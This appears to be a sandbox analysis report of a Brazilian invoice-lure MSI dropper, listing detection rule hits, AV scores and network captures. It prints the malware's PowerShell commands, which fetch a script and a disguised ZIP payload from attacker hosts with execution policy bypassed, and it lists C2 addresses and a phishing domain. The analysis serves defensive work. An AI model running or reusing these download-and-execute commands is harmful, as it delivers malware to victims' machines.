Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) { New-Item -ItemType Directory -Path 'C:\temp' -Force | Out-Null } try { Invoke-WebRequest -Uri 'http://192.124.216.14/vd/sis/DownSistem.ps1' -OutFile 'C:\temp\DownSistem.ps1' -UseBasicParsing Write-Output 'Arquivo DownSistem.ps1 baixado com sucesso em C:\temp\DownSistem.ps1' } catch { Write-Output 'Erro ao baixar o arquivo DownSistem.ps1: ' exit 1 }", CommandLine: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) { New-Item -ItemType Directory -Path 'C:\temp' -Force | Out-Null } try { Invoke-WebRequest -Uri 'http://192.124.216.14/vd/sis/DownSistem.ps1' -OutFile 'C:\temp\DownSistem.ps1' -UseBasicParsing Write-Output 'Arquivo DownSistem.ps1 baixado com sucesso em C:\temp\DownSistem.ps1' } catch { Write-Output 'Erro ao baixar o arquivo DownSistem.ps1: ' exit 1 }", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) { New-Item -ItemType Directory -Path 'C:\temp' -Force | Out-Null } try { Invoke-WebRequest -Uri 'http://192.124.216.14/vd/sis/DownSistem.ps1' -OutFile 'C:\temp\DownSistem.ps1' -UseBasicParsing Write-Output 'Arquivo DownSistem.ps1 baixado com sucesso em C:\temp\DownSistem.ps1' } catch { Write-Output 'Erro ao baixar o arquivo DownSistem.ps1: ' exit 1 }", ProcessId: 5516, ProcessName: powershell.exe

Sigma detected: Suspicious MsiExec Embedding Parent

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }", CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloaded

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6812, TargetFilename: C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1" , CommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding C85DA56207AAF23DFEFCC42BBFF0E5E4, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 1440, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1" , ProcessId: 1260, ProcessName: powershell.exe

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1260, TargetFilename: C:\temp\ShowUpdateScreen.ps1

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7584, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6812, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline", ProcessId: 3716, ProcessName: csc.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Fatura227Pendente576.pdf674.msi	Virustotal: Detection: 31%			Perma Link
Source: Fatura227Pendente576.pdf674.msi	ReversingLabs: Detection: 23%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.3% probability

Phishing

AI detected suspicious URL

Source: Email	Joe Sandbox AI: AI detected Brand spoofing attempt in URL: https://1mp3.org
Source: Email	Joe Sandbox AI: AI detected Typosquatting in URL: https://1mp3.org

Source: unknown	HTTPS traffic detected: 185.15.58.240:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.134.82.79:443 -> 192.168.2.4:49731 version: TLS 1.2

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: c:
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Networking

Yara detected MalDoc

Source: Yara match	File source: Fatura227Pendente576.pdf674.msi, type: SAMPLE
Source: Yara match	File source: C:\Windows\Installer\3ffeef.msi, type: DROPPED

Source: Joe Sandbox View	IP Address: 185.15.58.240 185.15.58.240
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: EMBANK-ASRU EMBANK-ASRU

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.168.117
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.168.117
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.168.117
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.168.117
Source: unknown	TCP traffic detected without corresponding DNS query: 192.124.216.14
Source: unknown	TCP traffic detected without corresponding DNS query: 192.124.216.14
Source: unknown	TCP traffic detected without corresponding DNS query: 192.124.216.14
Source: unknown	TCP traffic detected without corresponding DNS query: 192.124.216.14
Source: unknown	TCP traffic detected without corresponding DNS query: 192.124.216.14
Source: unknown	TCP traffic detected without corresponding DNS query: 192.124.216.14
Source: unknown	TCP traffic detected without corresponding DNS query: 192.124.216.14
Source: unknown	TCP traffic detected without corresponding DNS query: 192.124.216.14
Source: unknown	TCP traffic detected without corresponding DNS query: 192.124.216.14
Source: unknown	TCP traffic detected without corresponding DNS query: 192.124.216.14
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /wikipedia/commons/3/3f/Windows-loading-cargando.gif HTTP/1.1User-Agent: Mozilla/5.0Host: upload.wikimedia.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /41J4DHL/logo.png HTTP/1.1User-Agent: Mozilla/5.0Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fatura/fatura.html HTTP/1.1Host: yqvn-6391824-metaflux-xytrmnwl-246.1mp3.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: yqvn-6391824-metaflux-xytrmnwl-246.1mp3.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_1 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
Source: global traffic	HTTP traffic detected: GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
Source: global traffic	HTTP traffic detected: GET /js/googleapis.proxy.js?onload=startup HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://content.googleapis.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=googleapis_proxy/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0?le=scs HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://content.googleapis.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
Source: global traffic	HTTP traffic detected: GET /vd/sis/DownSistem.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 192.124.216.14Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ana/index.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 192.124.216.14Connection: Keep-Alive

Source: chrome.exe, 00000009.00000002.4155830721.0000454400CF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000009.00000003.1815379189.000045440064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149992962.0000454400658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000009.00000003.1815379189.000045440064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149992962.0000454400658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000009.00000003.1815379189.000045440064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149992962.0000454400658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000009.00000003.1815379189.000045440064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149992962.0000454400658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000009.00000002.4149143973.0000454400478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: upload.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: i.ibb.co
Source: global traffic	DNS traffic detected: DNS query: yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: blobcomments-pa.clients6.google.com
Source: global traffic	DNS traffic detected: DNS query: peoplestackwebexperiments-pa.clients6.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 4049sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://drive.google.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=POxeJ9RqjnOjw4mEt7ljQ6M7HfiblfDNGejWmZYDancwFctEz6rhzYgxOsUfr92C8dfYLM9z-6gH8GYmHTkSqLDUHsVdxBQaqlRa1j0CIqLaGLuwUTubmlzkr_mtTIcsSLgOBtUarVaE0QQar2Qdh9Z8r1w9S070TedAqjfBHpaKgu5Kwi8_K8o

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sat, 21 Dec 2024 07:40:16 GMTContent-Type: text/htmlContent-Length: 808Connection: closeLast-Modified: Mon, 28 Oct 2024 17:43:05 GMTETag: "328-6258d0045333e"Accept-Ranges: bytes

Source: chrome.exe, 00000009.00000003.2180146053.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4153779214.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2070318918.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2139293795.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2115164294.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000009.00000003.2180146053.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4153779214.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2070318918.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2139293795.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2115164294.0000454400B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136E
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000009.00000002.4149760334.00004544005D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
